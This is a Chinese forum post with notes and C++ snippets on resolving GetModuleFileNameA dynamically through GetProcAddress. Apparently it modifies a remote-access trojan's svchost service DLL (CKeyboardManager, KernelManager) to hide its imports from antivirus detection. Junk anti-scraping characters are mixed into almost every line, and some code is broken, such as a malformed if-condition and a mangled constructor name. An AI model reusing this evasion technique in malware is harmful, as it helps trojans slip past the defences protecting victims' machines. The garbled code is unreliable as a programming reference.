返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
# S; {) g* X& c0 }svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h3 m+ T( F# h( }# O+ P; u
----------------------------------------" k1 p( h6 U& M& U/ o# M
DTDY.h:4 P6 c# J( [4 _

2 y0 @! R* ]* a& e0 Y#if _MSC_VER>1000
9 W! Y, G7 S* z5 K" |) ~#pragma once; ^" L5 @; \0 X, l9 ]7 u+ V' ^
#endif //_MSC_VER>10004 H3 b1 d  N$ U
#include<windows.h>
1 e- `# E7 V9 w" n; K% k0 i' R: x& a! Q3 }: D6 W
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);1 ^, B; J+ s0 R% N1 ^
class DTDY
) ]2 k0 Z6 b$ W) C{
4 ]. _" J0 X* r, k+ U' kpublic:1 e! Y' B: @3 S- w7 m* W+ S: D
DTDY();+ c1 D' W) j* `( K
virtual ~DTDY();
! T4 o3 n6 F2 V# H& }8 X* i1 a. }# Spublic:$ E4 ]/ J; T* ?4 k( W9 d/ t0 D( K
static pGetModuleFileNameA MyGetModuleFileName;4 o1 P+ \* D5 J8 C$ R( v; [
static BOOL FunInitiallization();/ z0 t5 s, Y* B% w5 C( z: \
};# j3 g* o, F+ L- g) v
#endif2 M# b' v+ }! N# m( F  {5 Q
----------------------------------------
8 w2 z7 A* `; c; Z( w4 G
5 e0 z3 \  s8 N, e; qDTDY.cpp:0 m, P4 q+ ^- v5 }$ T  D, Y
! H. u& |5 M6 }- I% ?7 p
#include "DTDY.h"
; w. o- ]) E. ]" k. g0 D& ^  ZpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
+ @- X. }1 d6 x! k+ y; NDTDY:TDY(): T5 b* c6 ]5 q% E5 J
{
9 T1 @$ z! u2 u5 i9 f}
5 E6 q& r3 q) j2 P; M1 QDTDY::~DTDY()
/ N+ o7 W* I% X. S. `' f6 n$ S' }{5 X. E9 U; h2 _$ K1 A, X
}# F- O+ q2 d& P4 g' K
BOOL DTDY::FunInitiallization(), Z4 x1 h5 G* [
{: ]9 C& n2 P% l( R, x1 C' ~! a
HMODULE hModule=LoadLibrary("kernel32.dll");
5 Z5 l" I% y/ ]3 B# E& I/ sMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");2 ^/ B9 B) P% Z) p$ z+ ]5 K
if(!MyGetModuleFileName=) return FALSE;
1 S9 U" n; H) X: O; E/ `) q: h" O: i. M  W: _2 h1 z, T
return TRUE;6 m) E# ~- i' d( x
}! c) H% {- F* U" f7 s+ T
----------------------------------------; [. {5 ^& [6 r: R* o- W
svchost.cpp:
, n  Z# E' ~0 O" g
) x* [0 v0 Y0 |' y#include "DTDY.h"
% e; R* P9 G9 h) [' f3 N( ^0 i- j9 h+ u  Z
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
" u) Z6 |1 O: A0 K! s( z{
! c/ C' B! e. b2 V% o! iswitch(ul_reason_for_call)5 _8 f$ O, {1 o, ?" Z# h
{  E2 _- I% f5 D9 i7 z
case DLL_PROCESS_ATTACH:
9 t+ U( K, h! D4 x) \5 h+ i% zif(!DTDY::FunInitiallization()) return FALSE;
& m( L: g7 m7 X6 P; q% i( I9 X8 }# Q' w" n- Q
break;
) Y( t; c" [' E& V+ K9 A9 H}6 n( Y2 y! {7 e; _/ N
}
) x' w  a4 d7 e# C9 s( n0 k9 l2 y4 O3 @, {: X2 w
" ~+ [2 \7 i0 K; h4 [
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
% t- K  v9 P1 T改写为8 _. `: X8 ?% [& d
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));# V! {5 l( u6 P2 H
----------------------------------------+ b- s, g% _9 e5 G' @" N
KernelManager.cpp:
& i  b% t- T1 Z# l! O4 u; I, t) o7 L4 v) M- x% D2 g
#include "../DTDY.h"
# k- `/ _& |7 O4 N( q. r" KGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));4 P8 P9 a/ V. |# |5 [/ x" V9 l
改写为4 S6 J1 o' I. F: S$ K
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
8 B' ?- e7 x1 @. U, Z----------------------------------------

返回列表